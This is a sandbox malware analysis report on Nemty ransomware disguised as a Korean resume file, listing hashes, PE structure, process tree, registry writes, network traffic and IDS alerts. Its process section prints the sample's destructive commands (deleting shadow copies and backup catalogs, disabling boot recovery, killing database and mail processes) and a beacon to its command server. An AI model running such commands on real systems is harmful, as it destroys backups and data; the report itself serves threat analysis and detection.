File name: | 이력서.hwp .exe |
Full analysis: | https://app.any.run/tasks/e1862f51-c498-4747-a804-0a9af94b3d70 |
Verdict: | Malicious activity |
Threats: | Nemty is ransomware with an unusually complex encryption algorithm. This malware encrypts user files and demands money so that they can be unlocked again. It may be connected to other famous ransomware, but we don’t know for sure. |
Analysis date: | December 27, 2019, 07:07:06 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/x-dosexec |
File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
MD5: | 0B242B8B030995619C5D7F0C7D33A999 |
SHA1: | 69103E5AAE29F37FB7E9E29CEBF250986161EEAA |
SHA256: | A7558DECB9516122781243E791C982977660152813817FB7ED00359365FCB0D3 |
SSDEEP: | 3072:W63RNHppopp75MXPW2EI0C0qnJd14mnee/4mpzfV:v3Rrwc/lxjLJneeA8 |
.exe | | | Win32 Executable MS Visual C++ (generic) (67.4) |
---|---|---|
.dll | | | Win32 Dynamic Link Library (generic) (14.2) |
.exe | | | Win32 Executable (generic) (9.7) |
.exe | | | Generic Win/DOS Executable (4.3) |
.exe | | | DOS Executable Generic (4.3) |
FileSubtype: | - |
---|---|
ObjectFileType: | Executable application |
FileOS: | Windows NT 32-bit |
FileFlags: | Debug |
FileFlagsMask: | 0x003f |
ProductVersionNumber: | 28.0.0.0 |
FileVersionNumber: | 28.0.0.0 |
Subsystem: | Windows GUI |
SubsystemVersion: | 5 |
ImageVersion: | - |
OSVersion: | 5 |
EntryPoint: | 0x1d1b |
UninitializedDataSize: | - |
InitializedDataSize: | 238080 |
CodeSize: | 37888 |
LinkerVersion: | 9 |
PEType: | PE32 |
TimeStamp: | 2018:12:06 17:53:43+01:00 |
MachineType: | Intel 386 or later, and compatibles |
Architecture: | IMAGE_FILE_MACHINE_I386 |
---|---|
Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
Compilation Date: | 06-Dec-2018 16:53:43 |
Magic number: | MZ |
---|---|
Bytes on last page of file: | 0x0090 |
Pages in file: | 0x0003 |
Relocations: | 0x0000 |
Size of header: | 0x0004 |
Min extra paragraphs: | 0x0000 |
Max extra paragraphs: | 0xFFFF |
Initial SS value: | 0x0000 |
Initial SP value: | 0x00B8 |
Checksum: | 0x0000 |
Initial IP value: | 0x0000 |
Initial CS value: | 0x0000 |
Overlay number: | 0x0000 |
OEM identifier: | 0x0000 |
OEM information: | 0x0000 |
Address of NE header: | 0x000000D8 |
Signature: | PE |
---|---|
Machine: | IMAGE_FILE_MACHINE_I386 |
Number of sections: | 5 |
Time date stamp: | 06-Dec-2018 16:53:43 |
Pointer to Symbol Table: | 0x00000000 |
Number of symbols: | 0 |
Size of Optional Header: | 0x00E0 |
Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
---|---|---|---|---|---|
.text | 0x00001000 | 0x00009304 | 0x00009400 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.60126 |
.rdata | 0x0000B000 | 0x000022A2 | 0x00002400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.39724 |
.data | 0x0000E000 | 0x0002EE2C | 0x00010400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.2651 |
.rsrc | 0x0003D000 | 0x00008740 | 0x00008800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 6.25515 |
.reloc | 0x00046000 | 0x00001210 | 0x00001400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 3.92958 |
Title | Entropy | Size | Codepage | Language | Type |
---|---|---|---|---|---|
1 | 3.38622 | 456 | UNKNOWN | UNKNOWN | RT_VERSION |
2 | 5.72481 | 2216 | UNKNOWN | UNKNOWN | RT_ICON |
3 | 5.32377 | 1736 | UNKNOWN | UNKNOWN | RT_ICON |
4 | 6.11506 | 1384 | UNKNOWN | UNKNOWN | RT_ICON |
5 | 5.80624 | 9640 | UNKNOWN | UNKNOWN | RT_ICON |
6 | 5.91104 | 4264 | UNKNOWN | UNKNOWN | RT_ICON |
7 | 5.94404 | 2440 | UNKNOWN | UNKNOWN | RT_ICON |
8 | 3.11822 | 478 | UNKNOWN | UNKNOWN | RT_STRING |
9 | 3.28644 | 1332 | UNKNOWN | UNKNOWN | RT_STRING |
10 | 2.56661 | 308 | UNKNOWN | UNKNOWN | RT_CURSOR |
ADVAPI32.dll |
KERNEL32.dll |
USER32.dll |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2536 | "C:\Users\admin\AppData\Local\Temp\이력서.hwp .exe" | C:\Users\admin\AppData\Local\Temp\이력서.hwp .exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Modules
| |||||||||||||||
2876 | "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB | C:\Windows\System32\cmd.exe | — | 이력서.hwp .exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
1268 | "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded | C:\Windows\System32\cmd.exe | — | 이력서.hwp .exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
3404 | vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB | C:\Windows\system32\vssadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Command Line Interface for Microsoft® Volume Shadow Copy Service Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
3928 | vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded | C:\Windows\system32\vssadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Command Line Interface for Microsoft® Volume Shadow Copy Service Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
492 | "C:\Windows\System32\cmd.exe" /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.* & taskkill /f /im onenote.* & taskkill /f /im virtualboxvm.* & taskkill /f /im node.* & taskkill /f /im QBW32.* & taskkill /f /im WBGX.* & taskkill /f /im Teams.* & taskkill /f /im Flow.* | C:\Windows\System32\cmd.exe | — | 이력서.hwp .exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 128 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
1504 | "C:\Windows\System32\cmd.exe" /c net stop DbxSvc.* & net stop OracleXETNSListener.* & net stop OracleServiceXE.* & net stop AcrSch2Svc.* & net stop AcronisAgent.* & net stop Apache2.4.* & net stop SQLWriter.* & net stop MSSQL$SQLEXPRESS.* & net stop MSSQLServerADHelper100.* & net stop MongoDB.* & net stop SQLAgent$SQLEXPRESS.* & net stop SQLBrowser.* & net stop CobianBackup11.* & net stop cbVSCService11.* & net stop QBCFMontorService.* & net stop QBVSS.* | C:\Windows\System32\cmd.exe | — | 이력서.hwp .exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
3680 | "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete | C:\Windows\System32\cmd.exe | — | 이력서.hwp .exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 2147749908 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
3012 | taskkill /f /im sql.* | C:\Windows\system32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
3892 | net stop DbxSvc.* | C:\Windows\system32\net.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
|
(PID) Process: | (2536) 이력서.hwp .exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
(PID) Process: | (2536) 이력서.hwp .exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | AutoDetect |
Value: 1 | |||
(PID) Process: | (2536) 이력서.hwp .exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\???_RASAPI32 |
Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
(PID) Process: | (2536) 이력서.hwp .exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\???_RASAPI32 |
Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
(PID) Process: | (2536) 이력서.hwp .exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\???_RASAPI32 |
Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
(PID) Process: | (2536) 이력서.hwp .exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\???_RASAPI32 |
Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
(PID) Process: | (2536) 이력서.hwp .exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\???_RASAPI32 |
Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
(PID) Process: | (2536) 이력서.hwp .exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\???_RASAPI32 |
Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
(PID) Process: | (2536) 이력서.hwp .exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\???_RASMANCS |
Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
(PID) Process: | (2536) 이력서.hwp .exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\???_RASMANCS |
Operation: | write | Name: | EnableConsoleTracing |
Value: 0 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2536 | 이력서.hwp .exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\raw[1].txt | — | |
MD5:— | SHA256:— | |||
2536 | 이력서.hwp .exe | C:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp | — | |
MD5:— | SHA256:— | |||
2536 | 이력서.hwp .exe | C:\Users\admin\Contacts\admin.contact | — | |
MD5:— | SHA256:— | |||
2536 | 이력서.hwp .exe | C:\Users\admin\Desktop\artistssuccessful.jpg | — | |
MD5:— | SHA256:— | |||
2536 | 이력서.hwp .exe | C:\Users\admin\Desktop\countyswitch.png | — | |
MD5:— | SHA256:— | |||
2536 | 이력서.hwp .exe | C:\Users\admin\Desktop\courtbag.jpg | — | |
MD5:— | SHA256:— | |||
2536 | 이력서.hwp .exe | C:\Users\admin\Desktop\everythingproperties.png | — | |
MD5:— | SHA256:— | |||
2536 | 이력서.hwp .exe | C:\Users\admin\Desktop\finemon.rtf | — | |
MD5:— | SHA256:— | |||
2536 | 이력서.hwp .exe | C:\Users\admin\Desktop\leeagents.png | — | |
MD5:— | SHA256:— | |||
2536 | 이력서.hwp .exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@db-ip[1].txt | text | |
MD5:9B74580143A391B172B2F9D27AB8EC65 | SHA256:F61EF1E328DC28DAF24B28F78F50AEE67617F81FBC627D12EB43256B2FCE8E75 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2536 | 이력서.hwp .exe | GET | 200 | 147.78.65.121:80 | http://nemty10.hk/public/gate.php?data=w4Sj4J2r8ywnL1n9cn.yw2wgRnNnRlDxMaYQGRq3YNvibt.r5RHMDf5iAF9wUxnAOjHyOrvcvY58e0Bhcc9rqYECJK.fWkzpop11Gp0RufY4dDFmVP3KVUxtDWheh3/7IJCjWUowe3oWJbOdZsnq/Y46m8DG87b2bJ8obl8.NUH2dRTmpRya0JfdeMAtnLhNmY6.eQaYh2diCdUSJlR8CXoGiCCah8YRgBVhL3eUfmB6ELhxreVgCIXJVhmE7.b4X/8s4seSuzIwTce1O1uy1JrjEYYYRJqkFqwbrsQDYiBalW1Oi1wilGBRhmwOcxqit.0Gx3DYgY7QH.AgB7Y1fjXpnXs6ISyXFii2eLQj3Y2ExIcbrlK.y0A0M92n9.Sy0DwL8m6S.913.QteV9xgBm/hZ74PaEepVXavgVxgzSqTWiYv0Q09RsJvVY32mgBPhyMZ.Q9/GAkBOwdV5duQPAQO/FUgOhKNMctx8wi6Ot/4elBi2Hui7L2HET5WeKT.MtH1/RIQ2aW7SEyEE25EDNsE8b0zXn1k14b0dJDNCRKI7.TtrSKH1K.4eyKmZZPpGKrxh3EhKjVaLDg9YQlnVDhPVLTtwkCPCkiRUvuZJ/tUjazoFxFAoC55y461CtqflGe746yJv/rBz.JVl1C9X2Rkzj4QBPG51ARuDRcAPemCkTkOuuVLHVhJ91PgkKfkkIvIJJERxocg30stfsEqcMe.nz4W/ynJc.z6BoloMSUwEmfx7d6C5THW.bo1gx4U41pm10yauqiMtq3fWlMp.LnTvKc.dG7vbqnHzVfv3Tcir8ZrTY1FSOuvTjSloWjb7FeOZFK/LzGmTmGEfWQg7yr2T5bNAYzeM5OAPs5hGSADLFsI4/Fr3vNz3kb9LhqMrumkJKNT.jX6S1/2xjaHeAr8Nh9su.GK1AS5e4VYKdQto0TR3.21tpF5AGth5DqvFmQoYoLORTAYEbD99n3SJnSmAnrlnPp8t2ySN334gcls6VRjNnCNq7ZqZOrtbDPNFJ/jbCOAup/CZZjKlkioy7NhGGX5i1yiVKztAHAQCL9XcA3dOlFCYzo7Ofn/fU.kxdHqKXQONur6fW3CJ5k0lVwoI5GYNABY1EpTCyWaD4Vv4ksOoC97gtsgc8p82QVkOGDuGQtedDJO/lq3yFeAhaiwH9nBwOzfW3lOc2GMGxncjGQITLoPNDeZfO86gSZhUCIv91Vmeggc6.bduDPeKIxFWPphoOF.D2mSfhmmFEcxgJ38t5BcCLxSu0ctyYY5bKhtRrUHVTxAbRbmVDQTluzt4NPhcZZLkP3EtWIDD4x/Li3paGzBy17vIaB5cKI.kxAKEzKECn8J3VosfTC6TA==VWL1Cbn9QGbXjkFOvCXI7CVgsm5z/pKEuoWqAAkLNau/Ny1hNnKh4ISXxf8B5kKp.nL9C.KUrfcA.CRDDurPh4SrkwOmZsX06pVvsuAkcKJ1WzO6H6MwEFg.5dC3q7fQP9h0VkH8vYsfuBai7DH80ET802YjiWxYSCkJYz5jcEy8OdmMHLxiembxXSQLeQnqzqX5RzxAODxRnAln7wgl0h2gCC9joJQ5WqsJUwo3cLOsejvYPy/MfYRPOTbkVstv9GVGmNiCzdLDOBmEldmUPwSMt6ShZm.Gq.8tICZHgZEqy0XwY8WdTfTs6pkdbNE9ydkKnwTEI5Rq.7wYkSAcM3DvEdHNe7Jj6SJH5tWFXZPIC.8J7Yc0OdABj9zcXVciONg3hIvjuQVgmcHH9boifX39Iy.NjTKsJX4NXUFJVqGJfcUYLO6oaGR8fTUZvYOXd5O7PzOyfmsfptM.Ojyu8hLYY8jE0HKhco7Jpk8pm4mtHC7Wukqh7y84n.yZziR/itQmejK.m/0KDJl0r4TSPSEPSOggGyAn566H9ZN9bDA6jez5mbu28r/CXbuMsZaSwj4rgPrF5DxELmbe0IMD3q8vsEUognP3YlQA.EE126h1OrDHkrolXBl/qGXofKWE3KQ05Jmfacze/roT89TGUFa0RkGo3ywlYEIAVrYy4bRKzpJz4jRUztdqe.ZVJTTui66R8PcKql8se0F0GzNU6s.pBREKMLG9R8Ip5GkiTznLV5hnFOODu/Ik0d6inZH3SiDNSB2GOxmo5mQetp4nt6pIUnxRQrmbSSLZUNq0ygT.y3Ga.q5BzNx4RpSi8HzPPtLa2Lh5Ue54r2HhfqWsx9DZ5XzWuTuYUWHBr8bWmZl0vmtY0EibnlNQqy3X27me4h3eWP2kK3gg8VezXZYPzlkyTebgPyK3G40Z3AmANwyb0bRfjN47VqkwI3eN2fBWAqDjh0n7I/r.tZffrMberbNoGD13sAt0o/uWaqSZUdRianBYWkxmQLd9M9Z4fOvUgymgT.Xc/IFZV4yovgO7n8MUP1Is4vzipNahXx58IcZfH8qtQVyEyM/uMEsly4c2pzQiKMBEAck34p9NAajCTu3kCJHL5PFTUvUmKVL.8wqVSakOVPGMx0hFkLx/pXJDGaauC5dYiOcKlKZf2nOBtZLMnRQ7eOQv9eUvkjtlCMSUyQ7H2Y2NdKPr7e9Q3cP.DDGxH0YocsQdD9z4DZuTZ73ycBunSOI91myAH/un6G37HXymGeGQJWzbckJtltOasVJ99z7fthZv9mbN1WB.quX4OpQCr3bnrMVYL3pNtpmz7UJi7wVd7f/I4F4kp5dZBajuyPWEmRA2y0DAGrhICQ== | unknown | — | 2 b | malicious |
2536 | 이력서.hwp .exe | GET | 200 | 104.26.4.15:80 | http://api.db-ip.com/v2/free/196.244.192.38/countryName | US | text | 7 b | shared |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2536 | 이력서.hwp .exe | 172.217.22.51:443 | www.myexternalip.com | Google Inc. | US | whitelisted |
2536 | 이력서.hwp .exe | 147.78.65.121:80 | nemty10.hk | — | — | malicious |
2536 | 이력서.hwp .exe | 104.26.4.15:80 | api.db-ip.com | Cloudflare Inc | US | malicious |
Domain | IP | Reputation |
---|---|---|
www.myexternalip.com |
| whitelisted |
api.db-ip.com |
| shared |
nemty10.hk |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
— | — | A Network Trojan was detected | ET TROJAN Win32/Nemty Ransomware Style Geo IP Check M1 |
— | — | Potential Corporate Privacy Violation | ET POLICY External Geo IP Lookup (api .db-ip .com) |
— | — | Potentially Bad Traffic | ET USER_AGENTS Observed Suspicious UA (Chrome) |
— | — | A Network Trojan was detected | ET TROJAN Generic gate[.].php GET with minimal headers |
— | — | A Network Trojan was detected | AV TROJAN Kasperagent C2 Beacon 1 |
— | — | Potentially Bad Traffic | ET USER_AGENTS Observed Suspicious UA (Chrome) |